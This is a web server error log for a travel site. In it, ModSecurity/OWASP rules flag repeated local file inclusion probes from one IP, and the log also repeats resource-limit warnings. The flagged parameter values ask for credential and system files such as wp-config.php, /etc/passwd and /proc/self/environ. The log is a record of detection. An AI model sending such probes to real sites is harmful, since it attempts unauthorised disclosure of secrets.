[Fri Jul 17 08:55:55.143207 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.143684 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw7EWOaI5pmYo9fnPCgAAAAA"]
[Fri Jul 17 08:55:55.145374 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvKquHSHoCJK_V0SBgAAAABs"]
[Fri Jul 17 08:55:55.145408 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvKquHSHoCJK_V0SBgAAAABs"]
[Fri Jul 17 08:55:55.152159 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.156810 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.164918 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.169633 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.172870 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.175836 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.178139 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.182037 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:resource: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPCwAAAAA"]
[Fri Jul 17 08:55:55.182533 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPCwAAAAA"]
[Fri Jul 17 08:55:55.182669 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.182933 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw7EWOaI5pmYo9fnPCwAAAAA"]
[Fri Jul 17 08:55:55.185128 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:resource: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw6quHSHoCJK_V0SBgQAAABs"]
[Fri Jul 17 08:55:55.185701 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw6quHSHoCJK_V0SBgQAAABs"]
[Fri Jul 17 08:55:55.185807 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.186146 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw6quHSHoCJK_V0SBgQAAABs"]
[Fri Jul 17 08:55:55.186953 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:resource: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS7wAAAB4"]
[Fri Jul 17 08:55:55.187113 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:resource: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS7wAAAB4"]
[Fri Jul 17 08:55:55.187510 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS7wAAAB4"]
[Fri Jul 17 08:55:55.187622 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.187874 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw1CBpfuYyhJ140vS7wAAAB4"]
[Fri Jul 17 08:55:55.196384 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:resource: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw4e39YUk0SgV8AU6sQAAABE"]
[Fri Jul 17 08:55:55.196501 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:resource: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw4e39YUk0SgV8AU6sQAAABE"]
[Fri Jul 17 08:55:55.197024 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw4e39YUk0SgV8AU6sQAAABE"]
[Fri Jul 17 08:55:55.197148 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.197433 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw4e39YUk0SgV8AU6sQAAABE"]
[Fri Jul 17 08:55:55.201990 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:resource: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QFAAAABk"]
[Fri Jul 17 08:55:55.202105 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:resource: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QFAAAABk"]
[Fri Jul 17 08:55:55.202542 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QFAAAABk"]
[Fri Jul 17 08:55:55.202661 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.202958 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgww7FYe46zHK_jL3QFAAAABk"]
[Fri Jul 17 08:55:55.210722 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:resource: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6sowAAABQ"]
[Fri Jul 17 08:55:55.210846 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:resource: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6sowAAABQ"]
[Fri Jul 17 08:55:55.211392 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6sowAAABQ"]
[Fri Jul 17 08:55:55.211514 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.211795 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw0gVnBK6wAv37w6sowAAABQ"]
[Fri Jul 17 08:55:55.218242 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.222151 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.228571 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.232168 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.236877 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.242238 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.252357 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.254139 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.257050 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:doc: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVyAAAABM"]
